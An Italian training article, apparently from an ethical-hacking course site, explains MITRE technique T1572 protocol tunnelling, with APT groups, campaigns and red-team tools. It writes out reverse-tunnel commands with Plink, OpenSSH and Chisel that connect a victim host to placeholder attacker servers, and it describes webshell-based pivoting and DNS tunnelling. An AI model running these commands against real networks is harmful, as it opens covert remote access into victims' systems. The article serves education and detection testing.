Tunneling di Protocollo: Protocol Tunneling (T1572)
Il Protocol Tunneling consiste nell'incapsulare un protocollo di rete all'interno di un altro per aggirare filtri perimetrali, occultare comunicazioni di comando e controllo e raggiungere sistemi altrimenti irraggiungibili. La tecnica è mappata sulla tattica TA0011 Command and Control e rappresenta uno dei pilastri della fase di post-exploitation, quando l'attaccante deve mantenere un canale stabile verso l'infrastruttura esterna senza essere rilevato da firewall, proxy e sistemi di ispezione del traffico.
Le forme più diffuse includono l'SSH port forwarding, l'incapsulamento di RDP o SMB in tunnel cifrati, l'uso di DNS over HTTPS (DoH) per la risoluzione dell'infrastruttura C2 e il trasporto di protocolli custom dentro HTTP/HTTPS. Spesso il tunneling viene combinato con proxy chain e impersonation di servizi legittimi per rendere il traffico indistinguibile da quello di applicazioni aziendali.
I numeri raccontano la diffusione della tecnica: 14 gruppi APT documentati, 18 famiglie di malware e tool che la implementano nativamente, 6 campagne di rilievo tra cui CostaRicto, Cutting Edge e l'attacco del 2022 alle infrastrutture elettriche ucraine. Solo 2 mitigazioni ufficiali sono mappate — filtraggio del traffico di rete e prevenzione delle intrusioni — a testimonianza della difficoltà di contrastare canali che vivono dentro protocolli legittimi e cifrati end-to-end.
In un red team engagement il tunneling è la scelta obbligata quando il perimetro filtra tutto tranne HTTP/HTTPS in uscita o quando serve pivotare verso segmenti interni. Le catene più comuni ruotano attorno a pochi tool consolidati.
Plink (open source, parte di PuTTY) resta lo strumento più imitato dagli APT: plink.exe -ssh -R 3389:127.0.0.1:3389 user@attacker-host -N apre un reverse tunnel che espone l'RDP della vittima sul server dell'operatore. La stessa logica è replicabile su Linux con OpenSSH nativo: ssh -R 8080:internal-host:80 operator@c2 -N -f. FIN6, OilRig, Cobalt Group e Magic Hound hanno utilizzato Plink in scenari reali; simularne l'uso in lab consente di validare le detection.
Per scenari HTTP-only si ricorre a Chisel (open source), che crea tunnel TCP/UDP dentro WebSocket: server lato attaccante con chisel server -p 443 --reverse, client sulla vittima con chisel client attacker:443 R:socks. Scattered Spider ha impiegato Chisel configurato per parlare con sottodomini trycloudflare per fondere il traffico con CDN legittime. ngrok (freemium) e Pinggy (freemium) offrono tunnel istantanei verso RDP e SSH con endpoint TLS pubblici — usati sia da Scattered Spider sia nella campagna SharePoint ToolShell per consegnare payload PowerShell.
Per il pivoting web-based i classici sono reGeorg e Neo-reGeorg (entrambi open source): si carica una webshell (.aspx, .php, .jsp) sul server compromesso e il client Python locale tunnela sessioni TCP arbitrarie — inclusi RDP, SSH e SMB — dentro richieste HTTP verso la shell. FIN13 ha usato pattern analoghi con web shell Java, mentre Sandworm ha impiegato Neo-reGeorg insieme a GOGETTER (tunneler Yamux su TLS) nell'attacco al settore elettrico ucraino.
Sul fronte DNS, Iodine (open source) incapsula IPv4 in query DNS: utile quando l'unico protocollo permesso in uscita è il DNS ricorsivo del resolver aziendale. La campagna Cutting Edge ha sfruttato esattamente questo pattern. Per esercizi più raffinati FRP (Fast Reverse Proxy, open source) e Mythic (open source) offrono framework completi con proxy SOCKS5 configurabili.
In laboratorio è essenziale testare anche DoH come canale di risoluzione C2, simulando client che risolvono domini attraverso resolver pubblici cifrati: replica il comportamento di Cyclops Blink e Brute Ratel C4.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo